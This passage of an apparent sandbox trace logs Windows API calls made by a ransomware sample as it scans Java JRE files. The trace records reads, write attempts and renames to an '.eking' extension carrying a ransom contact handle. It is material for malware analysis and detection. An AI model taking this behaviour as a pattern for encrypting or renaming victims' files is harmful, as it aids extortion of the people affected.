(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.051] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=201792) returned 1 [0234.051] CloseHandle (hObject=0x348) returned 1 [0234.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0234.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0234.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.051] SetEvent (hEvent=0x2b8) returned 1 [0234.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.052] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=26688) returned 1 [0234.052] CloseHandle (hObject=0x348) returned 1 [0234.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0234.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0234.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.053] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=139840) returned 1 [0234.053] CloseHandle (hObject=0x348) returned 1 [0234.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0234.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0234.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.054] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=41503296) returned 1 [0234.054] CloseHandle (hObject=0x348) returned 1 [0234.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0234.054] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0234.054] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0 [0234.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.215] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=15936) returned 1 [0234.215] CloseHandle (hObject=0x348) returned 1 [0234.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0234.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0234.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.216] SetEvent (hEvent=0x2b8) returned 1 [0234.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.217] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=174656) returned 1 [0234.217] CloseHandle (hObject=0x348) returned 1 [0234.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0234.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0234.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.219] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=296000) returned 1 [0234.219] CloseHandle (hObject=0x348) returned 1 [0234.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0234.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0234.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.222] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=112192) returned 1 [0234.222] CloseHandle (hObject=0x348) returned 1 [0234.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0234.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0234.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.223] SetEvent (hEvent=0x2b8) returned 1 [0234.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.224] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20032) returned 1 [0234.224] CloseHandle (hObject=0x348) returned 1 [0234.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0234.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0234.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.225] SetEvent (hEvent=0x2b8) returned 1 [0234.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.226] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=235584) returned 1 [0234.226] CloseHandle (hObject=0x348) returned 1 [0234.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0234.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0234.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.228] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=185920) returned 1 [0234.229] CloseHandle (hObject=0x348) returned 1 [0234.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0234.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0234.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.230] SetEvent (hEvent=0x2b8) returned 1 [0234.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.230] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=18496) returned 1 [0234.230] CloseHandle (hObject=0x348) returned 1 [0234.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0234.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0234.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.233] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=35392) returned 1 [0234.233] CloseHandle (hObject=0x348) returned 1 [0234.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0234.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0234.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.234] SetEvent (hEvent=0x2b8) returned 1 [0234.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.234] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=31296) returned 1 [0234.234] CloseHandle (hObject=0x348) returned 1 [0234.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0234.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0234.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.235] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=220736) returned 1 [0234.236] CloseHandle (hObject=0x348) returned 1 [0234.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0234.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0234.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.238] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16448) returned 1 [0234.238] CloseHandle (hObject=0x348) returned 1 [0234.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0234.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0234.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.239] SetEvent (hEvent=0x2b8) returned 1 [0234.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.239] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16448) returned 1 [0234.240] CloseHandle (hObject=0x348) returned 1 [0234.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0234.240] GetFileAttributesW 